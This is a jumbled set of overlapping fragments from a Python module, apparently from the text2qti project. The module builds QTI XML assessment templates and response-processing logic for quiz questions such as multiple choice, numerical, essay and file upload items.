f'text2qti_numerical_{question.id}'", "if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type", "None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if question.incorrect_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if question.type", "xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml)) continue if isinstance(question_or_delim, GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml,", "<item ident=\"{ident}\" title=\"{text_title_xml}\"> <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry> </qtimetadatafield> <qtimetadatafield>", "Licensed under the BSD 3-Clause License: # http://opensource.org/licenses/BSD-3-Clause # from", "<fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> ''' ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '')", "respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK", "elif question.type == 'multiple_answers_question': item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE item_presentation = ITEM_PRESENTATION_MULTANS", "respident=\"response1\">{ident}</varequal> </not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK =", "</material> </presentation> </item> ''' START_ITEM = '''\\ <item ident=\"{question_identifier}\" title=\"{question_title}\">", "</qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> ''' ITEM_METADATA_ESSAY =", "</render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_UPLOAD = '''\\ <presentation> <material> <mattext", "</and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK =", "ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\\ <not> <varequal respident=\"response1\">{ident}</varequal> </not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK", "action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\\", "</qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata>", "</material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\\ <itemfeedback ident=\"correct_fb\"> <flow_mat>", "ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <and> {varequal} </and> </conditionvar>", "ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <displayfeedback", "continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK", "if question.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if question.correct_feedback_raw is not", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\\ <varequal respident=\"response1\">{answer_xml}</varequal>'''", "</response_label>''' ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS =", "action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY = '''\\", "'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif question.type == 'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif question.type ==", "'short_answer_question': typechange = 'cc.fib.v0p1' elif question.type == 'multiple_answers_question': typechange =", "','.join(f'text2qti_choice_{c.id}' for c in question.choices) elif question.type == 'numerical_question': item_metadata", "Quiz, assessment_identifier: str, title_xml: str) -> str: ''' Generate assessment", "ident=\"{ident}\" title=\"{text_title_xml}\"> <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel>", "'multiple_choice_question'): correct_choice = None for choice in question.choices: if choice.correct:", "<NAME> # Copyright (c) 2020, <NAME> # All rights reserved.", "if question.correct_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if question.incorrect_feedback_raw is not", "<flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' def assessment(*,", "[] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for choice", "'''\\ <section ident=\"{ident}\" title=\"{group_title}\"> <selection_ordering> <selection> <selection_number>{pick}</selection_number> <selection_extension> <points_per_item>{points_per_item}</points_per_item> </selection_extension>", "<qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry> </qtimetadatafield> <qtimetadatafield>", "ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext>", "== 'numerical_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if", "'''\\ <item ident=\"{question_identifier}\" title=\"{question_title}\"> ''' END_ITEM = '''\\ </item> '''", "ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{answer_xml}</varequal> </conditionvar> <displayfeedback", "if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw", "<respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback", "feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = f'text2qti_numerical_{question.id}' elif question.type == 'essay_question':", "'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else: raise ValueError if question.type in ('true_false_question', 'multiple_choice_question'):", "in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids =", "item_metadata = ITEM_METADATA_UPLOAD original_answer_ids = f'text2qti_upload_{question.id}' else: raise ValueError #Type", "Examination </fieldentry> </qtimetadatafield> </qtimetadata> <section ident=\"root_section\"> ''' AFTER_ITEMS = '''\\", "<varlte respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\"", "= None for choice in question.choices: if choice.correct: correct_choice =", "linkrefid=\"general_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal", "= '''\\ <item ident=\"{ident}\" title=\"{text_title_xml}\"> <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry>", "<varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition>", "resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal = [] for choice in question.choices: if choice.correct:", "ident=\"response1\" rcardinality=\"Single\"> <render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> '''", "question.type == 'numerical_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK)", "choices = '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml) for c in question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices))", "else: raise ValueError if question.type in ('true_false_question', 'multiple_choice_question'): correct_choice =", "ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\\ <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry> </qtimetadatafield> <qtimetadatafield>", "resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK)", "'multiple_answers_question', 'numerical_question', 'essay_question', 'file_upload_question'): if question.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml))", "question.choices: if choice.correct: correct_choice = choice break if correct_choice is", "= [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for", "= '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\">", "Question, GroupStart, GroupEnd, TextRegion BEFORE_ITEMS = '''\\ <?xml version=\"1.0\" encoding=\"UTF-8\"?>", "<response_label ident=\"{ident}\"> <material> <mattext texttype=\"text/html\">{choice_html_xml}</mattext> </material> </response_label>''' ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single',", "rcardinality=\"Single\"> <render_fib fibtype=\"Decimal\"> <response_label ident=\"answer1\"/> </render_fib> </response_str> </presentation> ''' ITEM_RESPROCESSING_START", "= '''\\ <?xml version=\"1.0\" encoding=\"UTF-8\"?> <questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\">", "item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml)) if question.incorrect_feedback_raw is not", "varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition", "AFTER_ITEMS = '''\\ </section> </assessment> </questestinterop> ''' GROUP_START = '''\\", "<respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/> </respcondition> '''", "xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): for choice", "<respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\"", "== 'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif question.type == 'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else: raise", "<response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib fibtype=\"Decimal\"> <response_label ident=\"answer1\"/> </render_fib> </response_str> </presentation>", "= ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '') ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF = '''\\ <presentation>", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK =", "Import if question.type == 'multiple_choice_question': typechange = 'cc.multiple_choice.v0p1' elif question.type", "if question.type in ('true_false_question', 'multiple_choice_question'): correct_choice = None for choice", "= ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\">", "'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif question.type == 'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else: raise ValueError", "str, title_xml: str) -> str: ''' Generate assessment XML from", "CC Import if question.type == 'multiple_choice_question': typechange = 'cc.multiple_choice.v0p1' elif", "reserved. # # Licensed under the BSD 3-Clause License: #", "ITEM_PRESENTATION_MCTF elif question.type == 'multiple_answers_question': item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE item_presentation =", "xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment ident=\"{assessment_identifier}\" title=\"{title}\"> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry> </qtimetadatafield>", "ident=\"general_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT", "<response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_ESSAY = '''\\", "= '''\\ <itemfeedback ident=\"{ident}_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat>", "</qtimetadatafield> <qtimetadatafield> <fieldlabel> cc_profile </fieldlabel> <fieldentry> cc.exam.v0p1 </fieldentry> </qtimetadatafield> <qtimetadatafield>", "= '''\\ <varequal respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK", "rights reserved. # # Licensed under the BSD 3-Clause License:", "points_per_item=question_or_delim.group.points_per_question)) continue if isinstance(question_or_delim, GroupEnd): xml.append(GROUP_END) continue if not isinstance(question_or_delim,", "= ITEM_PRESENTATION_MULTANS else: raise ValueError choices = '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml) for", "<itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry> </qtimetadatafield>", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\">", "= f'text2qti_numerical_{question.id}' elif question.type == 'essay_question': item_metadata = ITEM_METADATA_ESSAY original_answer_ids", "== 'file_upload_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END)", "for choice in question.choices: if choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if", "''' ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '') ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF =", "= [] for choice in question.choices: if choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else:", "</respcondition> ''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar>", "linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte", "ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\\", "XML from Quiz. ''' xml = [] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml)) for", "ITEM_METADATA_UPLOAD original_answer_ids = f'text2qti_upload_{question.id}' else: raise ValueError #Type Change for", "<fieldentry>{points_possible}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield>", "</itemfeedback> ''' def assessment(*, quiz: Quiz, assessment_identifier: str, title_xml: str)", "if isinstance(question_or_delim, GroupEnd): xml.append(GROUP_END) continue if not isinstance(question_or_delim, Question): raise", "title=\"{text_title_xml}\"> <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry>", "xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if question.correct_feedback_raw is", "= ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK =", "isinstance(question_or_delim, TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml)) continue if isinstance(question_or_delim, GroupStart):", "<fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry>", "raise ValueError #Type Change for Schoology CC Import if question.type", "in ('true_false_question', 'multiple_choice_question', 'multiple_answers_question'): if question.type in ('true_false_question', 'multiple_choice_question'): item_presentation_choice", "xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'essay_question': xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY) if question.feedback_raw", "<qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry> </qtimetadatafield> <qtimetadatafield>", "in question.choices) elif question.type == 'numerical_question': item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids", "<section ident=\"{ident}\" title=\"{group_title}\"> <selection_ordering> <selection> <selection_number>{pick}</selection_number> <selection_extension> <points_per_item>{points_per_item}</points_per_item> </selection_extension> </selection>", "'\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml) for c in question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices)) elif question.type", "not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'numerical_question': xml.append(ITEM_RESPROCESSING_START)", "f'text2qti_numerical_{question.id}' elif question.type == 'essay_question': item_metadata = ITEM_METADATA_ESSAY original_answer_ids =", "is not None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'essay_question': xml.append(ITEM_RESPROCESSING_START)", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\">", "None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is not", "<?xml version=\"1.0\" encoding=\"UTF-8\"?> <questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment ident=\"{assessment_identifier}\"", "</presentation> ''' ITEM_PRESENTATION_UPLOAD = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material>", "<other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK", "assessment_identifier: str, title_xml: str) -> str: ''' Generate assessment XML", "typechange = 'cc.true_false.v0p1' elif question.type == 'short_answer_question': typechange = 'cc.fib.v0p1'", "raise ValueError if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question', 'numerical_question',", "in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw", "</not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK", "f'text2qti_essay_{question.id}' elif question.type == 'file_upload_question': item_metadata = ITEM_METADATA_UPLOAD original_answer_ids =", "None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK)", "question.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if question.correct_feedback_raw is not None:", "'''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_lid ident=\"response1\" rcardinality=\"Single\"> <render_choice>", "</qtimetadata> </itemmetadata> <presentation> <material> <mattext texttype=\"text/html\">{text_html_xml}</mattext> </material> </presentation> </item> '''", "<itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry> </qtimetadatafield>", "= ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <and> {varequal}", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\">", "raise ValueError if question.type in ('true_false_question', 'multiple_choice_question'): correct_choice = None", "if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not", "ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml)) if question.incorrect_feedback_raw", "'''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{answer_xml}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/>", "ITEM_RESPROCESSING_ESSAY = '''\\ <respcondition continue=\"No\"> <conditionvar> <other/> </conditionvar> </respcondition> '''", "== 'multiple_answers_question': item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE item_presentation = ITEM_PRESENTATION_MULTANS else: raise", "(c) 2021, <NAME> # Copyright (c) 2020, <NAME> # All", "ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_lid", "'numerical_question', 'essay_question', 'file_upload_question'): if question.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if", "else: typechange = question.type xml.append(item_metadata.format(question_type=typechange, 